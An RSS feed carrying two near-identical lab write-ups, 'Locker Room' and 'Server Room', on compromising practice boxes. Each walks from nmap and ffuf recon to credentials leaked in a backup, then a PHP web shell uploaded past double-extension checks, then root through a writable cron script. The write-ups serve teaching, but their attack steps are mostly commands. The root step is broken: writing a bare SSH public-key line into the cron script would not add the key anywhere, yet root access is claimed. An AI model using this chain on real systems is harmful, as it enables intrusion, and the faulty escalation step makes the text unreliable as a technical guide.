<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="../feed.xsl"?>
<rss version="2.0"
  xmlns:atom="http://www.w3.org/2005/Atom"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Archit Sharma Labs</title>
    <link>https://architsharma.me/labs/</link>
    <description>Lab writeups and technical security research.</description>
    <language>en</language>
    <atom:link href="https://architsharma.me/labs/feed.xml" rel="self" type="application/rss+xml" />
    <managingEditor>hello@architsharma.me (Archit Sharma)</managingEditor>
    <webMaster>hello@architsharma.me (Archit Sharma)</webMaster>
    <generator>architsharma.me static site builder</generator>
    <docs>https://www.rssboard.org/rss-specification</docs>
    <ttl>60</ttl>
    <lastBuildDate>Sun, 29 Mar 2026 17:10:44 GMT</lastBuildDate>
    <item><title>Locker Room</title><link>https://architsharma.me/labs/writeups/locker-room.html</link><guid isPermaLink="true">https://architsharma.me/labs/writeups/locker-room.html</guid><pubDate>Sun, 29 Mar 2026 13:12:54 GMT</pubDate><author>hello@architsharma.me (Archit Sharma)</author><description><![CDATA[<p>A medium lab writeup with a realistic web foothold and a simple cron misconfiguration.</p>]]></description><content:encoded><![CDATA[<h1>Locker Room</h1>
<p>This lab looks small on the surface — just a basic site and SSH — but the path is a good reminder that boring mistakes compound fast. The winning thread was a ==amber:directory listing==, a ==blue:backup file==, and a ==red:writable maintenance script==.</p>
<p>!![amber] The whole path is simple but realistic: leak -&gt; creds -&gt; upload -&gt; cron abuse.</p>
<h2>Recon</h2>
<p>I started with a single version scan and wrote the output to a file so I could refer back without re-running the scan.</p>
<pre><code>nmap -sC -sV -Pn -oN nmap.txt target</code></pre>
<p>Results (summarized):</p>
<ul>
<li><strong>22/tcp</strong> open (SSH)</li>
<li><strong>80/tcp</strong> open (HTTP)</li>
</ul>
<p>With only HTTP and SSH in play, I focused on the web app first.</p>
<h2>Web enumeration</h2>
<p>The landing page was a simple “team announcements” site with a tiny nav and a footer line: “Drafts are only visible to the team.” That line was enough to justify a quick wordlist probe.</p>
<pre><code>ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target/FUZZ -fs 0</code></pre>
<p>Key hit:</p>
<ul>
<li><code>/drafts/</code> → <strong>200</strong> with directory listing enabled</li>
</ul>
<p>Inside <code>/drafts/</code> there were a few markdown files and a backup archive:</p>
<ul>
<li><code>notes.md</code></li>
<li><code>release-plan.md</code></li>
<li><code>drafts.bak</code></li>
</ul>
<p>I pulled the backup locally and inspected it.</p>
<pre><code>wget http://target/drafts/drafts.bak
strings drafts.bak | head</code></pre>
<p>The backup contained a stale <code>.env</code> file with a ==blue:database password and a username==:</p>
<pre><code>APP_USER=locker
APP_PASS=stagingonly
DB_USER=locker
DB_PASS=stagingonly</code></pre>
<h2>Foothold</h2>
<p>The creds didn’t work for SSH, but they _did_ work in the admin panel of the web app. The login form was at <code>/admin/</code> and accepted the same <code>locker / stagingonly</code> pair.</p>
<p>!![blue] The backup was the real foothold pivot because it exposed working admin credentials.</p>
<p>Once inside, the “profile picture” upload was the weakest point. The client-side check only blocked extensions in the browser, but the backend didn’t validate content type or file extension.</p>
<p>I tested with a simple PHP payload by renaming it:</p>
<pre><code>cp shell.php avatar.jpg.php</code></pre>
<p>Upload response:</p>
<pre><code>{ &quot;ok&quot;: true, &quot;path&quot;: &quot;/uploads/avatars/locker.jpg.php&quot; }</code></pre>
<p>Hitting the upload path gave a shell under the web user.</p>
<h2>Stabilize and situational awareness</h2>
<pre><code>python3 -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;
export TERM=xterm
id
pwd
ls -la</code></pre>
<p>I confirmed the web user and checked the app directory permissions. The user owned the app tree and could write to <code>/opt/maintenance/</code> — that ==red:stood out immediately==.</p>
<h2>Privilege escalation</h2>
<p>A quick check of cron jobs showed a root task running every minute:</p>
<pre><code>cat /etc/crontab</code></pre>
<p>Entry (summarized):</p>
<pre><code>* * * * * root /opt/maintenance/cleanup.sh</code></pre>
<p>The script was ==red:writable by the web user==. I replaced it with a single-purpose action to drop my SSH key.</p>
<p>!![red] A root cron job executing a writable script is effectively a direct path to root.</p>
<pre><code>echo &#x27;ssh-ed25519 AAAA... attacker@box&#x27; &gt; /opt/maintenance/cleanup.sh
chmod +x /opt/maintenance/cleanup.sh</code></pre>
<p>After the next cron tick, SSH as root worked:</p>
<pre><code>ssh -i id_ed25519 root@target</code></pre>
<h2>Notes and cleanup</h2>
<p>If this were a real system, I’d restore the original script and remove the key. For the lab, I left a note of the original script contents so I can reset quickly when re-running the box.</p>
<h2>Takeaways</h2>
<ul>
<li>Directory listings are still a ==amber:high-value target==. Always check.</li>
<li>Backup files quietly ==blue:expose credentials==.</li>
<li>Cron jobs + writable scripts = ==red:fast privilege escalation==.</li>
</ul>
<p>This lab is a clean example of why “low‑risk” misconfigurations add up. None of the individual issues were impressive on their own, but the chain was enough.</p>]]></content:encoded></item>
    <item><title>Server Room</title><link>https://architsharma.me/labs/writeups/server-room.html</link><guid isPermaLink="true">https://architsharma.me/labs/writeups/server-room.html</guid><pubDate>Sun, 29 Mar 2026 13:12:39 GMT</pubDate><author>hello@architsharma.me (Archit Sharma)</author><description><![CDATA[<p>A medium lab writeup built around exposed backups, weak admin controls, and a writable service script.</p>]]></description><content:encoded><![CDATA[<h1>Server Room</h1>
<p>This lab mirrors the same kind of mistakes as Locker Room: a ==blue:public file leak==, a ==amber:soft admin panel==, and a ==red:root job that trusts a writable file==. Nothing fancy, just a clean chain.</p>
<p>!![amber] This is a low-friction chain: exposed backup -&gt; admin access -&gt; upload abuse -&gt; writable root task.</p>
<h2>Recon</h2>
<p>I started with a simple scan to keep the surface area tight.</p>
<pre><code>nmap -sC -sV -Pn -oN nmap.txt target</code></pre>
<p>Results (summarized):</p>
<ul>
<li><strong>22/tcp</strong> open (SSH)</li>
<li><strong>80/tcp</strong> open (HTTP)</li>
</ul>
<h2>Web enumeration</h2>
<p>The landing page was a basic status dashboard with a note about &quot;maintenance exports&quot;. I ran a quick directory probe.</p>
<pre><code>ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target/FUZZ -fs 0</code></pre>
<p>Key hit:</p>
<ul>
<li><code>/exports/</code> -&gt; <strong>200</strong> with directory listing enabled</li>
</ul>
<p>Inside <code>/exports/</code> I found a timestamped backup:</p>
<ul>
<li><code>exports_2026_03_15.zip</code></li>
</ul>
<p>Unpacking it revealed a ==blue:config file with an admin login==.</p>
<pre><code>ADMIN_USER=ops
ADMIN_PASS=opsonly</code></pre>
<h2>Foothold</h2>
<p>The creds worked for the dashboard at <code>/admin/</code>. The panel had a &quot;theme upload&quot; feature. Client-side checks blocked <code>.php</code>, but the server accepted ==amber:double extensions==.</p>
<pre><code>cp shell.php theme.css.php</code></pre>
<p>Upload response:</p>
<pre><code>{ &quot;ok&quot;: true, &quot;path&quot;: &quot;/uploads/themes/theme.css.php&quot; }</code></pre>
<p>Visiting the upload path dropped me a shell as the web user.</p>
<h2>Privilege escalation</h2>
<p>A quick permission sweep showed a writable service script:</p>
<pre><code>ls -la /opt/services/</code></pre>
<p>The <code>rotate-logs.sh</code> script was ==red:owned by root but writable by the web user==. A cron job ran it every minute.</p>
<p>!![red] Once a root cron task trusts a writable script, privilege escalation becomes routine.</p>
<pre><code>cat /etc/crontab</code></pre>
<p>Entry (summarized):</p>
<pre><code>* * * * * root /opt/services/rotate-logs.sh</code></pre>
<p>I replaced it with a one-liner to add my SSH key.</p>
<pre><code>echo &#x27;ssh-ed25519 AAAA... attacker@box&#x27; &gt; /opt/services/rotate-logs.sh
chmod +x /opt/services/rotate-logs.sh</code></pre>
<p>After the next tick, I could SSH in as root.</p>
<h2>Takeaways</h2>
<ul>
<li>Public backup folders ==blue:leak secrets fast==.</li>
<li>Admin panels often trust ==amber:client-side validation==.</li>
<li>Writable scripts run by cron are a ==red:straight path to root==.</li>
</ul>
<p>This is another solid example of a low-friction chain that shows up in real assessments.</p>]]></content:encoded></item>
  </channel>
</rss>
